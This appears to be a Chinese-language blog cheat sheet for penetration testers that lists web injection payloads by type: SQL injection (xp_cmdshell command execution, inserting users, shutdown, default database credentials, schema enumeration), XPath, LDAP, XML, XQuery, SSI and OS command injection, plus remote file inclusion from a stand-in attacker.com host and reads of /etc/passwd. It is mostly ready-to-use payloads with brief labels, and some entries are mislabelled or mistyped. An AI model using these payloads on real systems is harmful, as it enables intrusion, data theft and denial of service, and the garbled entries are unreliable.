0x00 前言
我们都知道在web 中有着各种数据注入攻击,其中有SQL注入、命令注入、XML注入等等。在平时我们渗透测试的任务中,如何快速检测和利用这些注入的漏洞,以下是一些注入命令总结
0x01 SQL 注入
1.1 通用的 SQL 注入攻击字符
查询中断语法 : 单引号(‘), 双引号(“)注入SQL注释 : 连字符 (--),哈希(#),,注释(/*)
扩展/追加查询 : 分号 (;)
注入/绕过过滤器 : CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL
1.2 通用的SQL注入命令
注入 union :Union all select NULL (Multiple columns)
执行命令 :1;exec master..xp_cmdshell ‘dir’>C:\inetpub\ww-wroot\dir.txt’ OR master.dbo.xp_cmdshell
加载文件 :LOAD_FILE(), User UTL_FILE and utfRead-fileAsTable
添加用户 :1’; insert into users values(‘nto’,’nto123’)
DOS攻击 :1’;shutdown –
取字段 : select name from syscolumns where id =(select id FROM sysobjects where name = ‘target table name’) – (Union can help)Co
1.3 通用SQL盲注命令
快速检测 :AND 1=1, AND 1=0
用户检测 :1+AND+USER_NAME()=’dbo’
注入等待 :SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115
循环/休眠 :BENCHMARK(TIMES, TASK), pg_sleep(10)
1.4 默认用户/密码
Oracle : scott/tiger, dbsnmp/dbsnmp
MySQL : mysql/<BLANK>, root/<BLANK>
PostgreSQL : postgres/<BLANK>
MS-SQL : sa/<BLANK>
DB2 : db2admin/db2admin
1.5 后台数据库的通用SQL注入命令
① MS-SQL
Grab version @@versionUsers name FROM master..syslogins
Tables name FROM master..sysobjects WHERE xtype = ‘U’
Database name FROM master..sysdatabases;
Columns name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘<TABLENAME’)
Running User DB_NAME()
② Oracle
Grab version table v$version compare with ‘Oracle%’
Users * from dba_users
Tables table_name from all_tables
Database distinct owner from all_tables
Columns column_name from all_tab_columns where table_name =‘<TABLENAME>
Running User user from dual
③ IBM DB2
Grab Versionnumber from sysibm.sysversions;
Users user from sysibm.sysdummy1
Tables name from sysibm.systables
Database schemaname from syscat.schemata
Columns name, tbname, coltype from sysibm.syscolumns
Running User user from sysibm.sysdummy1
④ MySQL
Grab @@version
Users * from mysql.user
Tables table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Database distinct(db) FROM mysql.db
Columns table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’AND table_schema!=‘information_schema’ AND table_name == ‘<TABLENAME>’
Running User user()
④ PostgreSQL
Grab version()
Users * from pg_user
Database datname FROM pg_database
Running User user;
0x02 XPATH 注入
检测字符:
单引号: 【 ‘ 】
双引号 :【 “ 】
利用载荷:
‘ or 1=1 or ‘’=‘
‘] | * | user[@role=’admin
“ NODENAME ” #返回所有字节点
“ //NODENAME ” #返回所有文档的元素
“ NODENAME//SUBNODENAME ” #返回节点元素下的所有子节点
“ //NODENAME/[NAME=‘VALUE’] ” #返回所有拥有和值相同名字节的节点
http://site.com/login.aspx?username=foo’ or 1=1 or ‘’=‘ #绕过登录
0x03 LDAP 注入
检测字符:
( #左开括号
) #右闭括号
I #pipe - LDAP中or 操作
& #Ampersand - LDAP中AND操作
! #Exclamation - LDAP中NOT操作
利用载荷:
(&(param1=val1)(param2=val2)) #AND操作
(|(param1=val1)(param2=val2)) #NOT操作
*)(ObjectClass=*)) | (&(objectClass=void # 使用AND操作进行LDAP 盲注
void)(ObjectClass=void))(&(objectClass=void # 使用OR操作进行LDAP 盲注
http://site.com/ldapsearch?user=* #x显示所有用户的属性
0x04 远程代码注入
4.1 上传文件
上传webshell
PHP, JSP, ASP等等 注入活动的目录
后门执行 从webroot 进行访问
4.2 远程文件包含/注入
include($incfile); PHP调用
http://site.com/page.php?file=http://www.attacker.com/exploit URL注入
0x05 XML 注入
检测方法:
单引号: 【 ‘ 】
双引号 :【 “ 】
尖括号: 【< > 】
XML注释标签:【 <!--/--> 】
和符号: 【& 】
CDATA段定界符 : 【 <![CDATA[ / ]]> 】
利用方法:
新建与现有标签名称一样的标签值,标签闭合: 【<!-- EXISTING TAG --> 】
添加管理员用户:http://www.example.com/addUser.php?username=dan&password=123456<!--email:--><userid>0</userid><mail>foo@emaildo-main.com
0x06 系统命令注入
检测方法:
| <ANOTHER COMMAND> #管道-在UNIX类操作系统中,第一个命令输出作为另一个命令的输入,在Windows多个命令执行
; <ANOTHER COMMAND> #分号,同时执行两个命令
利用方法:
%<ENV VARIABLE>% # 仅在windows可用
& #后台运行命令(仅在*UNIX)
://site.com/whois.php?domain=foobar;echo+/etc/passwd #显示文件/etc/passwd 的目录
0x07 XQuery 注入
检测方法:
单引号: 【 ‘ 】
双引号 :【 “ 】
利用方法:
‘ or <ATTACK> or .=’ #直接闭合前面XQuery 标签,进行后面标签结合
something” or “”=” # 利用标签进行闭合后,再闭合
http://site.com/xmlsearch?user=foo” or “”=” #显示所有用户的属性
0x08 SSI 注入
检测方法:
include, echo, exec #寻找关键词
.SHTML #文件后缀名
利用方法:
< ! # = / . “ - > and [a-zA-Z0-9] #请求成功执行的字符
<!--#include virtual=”<SOME SYSTEM FILE >” -->
http://site.com/ssiform.php?showfile=<!--#include virtual=”/etc/passwd” --> #显示文件/etc/passwd 的目录
欢迎大家分享更好的思路,热切期待^^_^^ !
本文总结了多种Web注入攻击方式,包括SQL注入、XPath注入、LDAP注入等,并提供了每种注入类型的检测方法及利用示例。
1578

被折叠的 条评论
为什么被折叠?



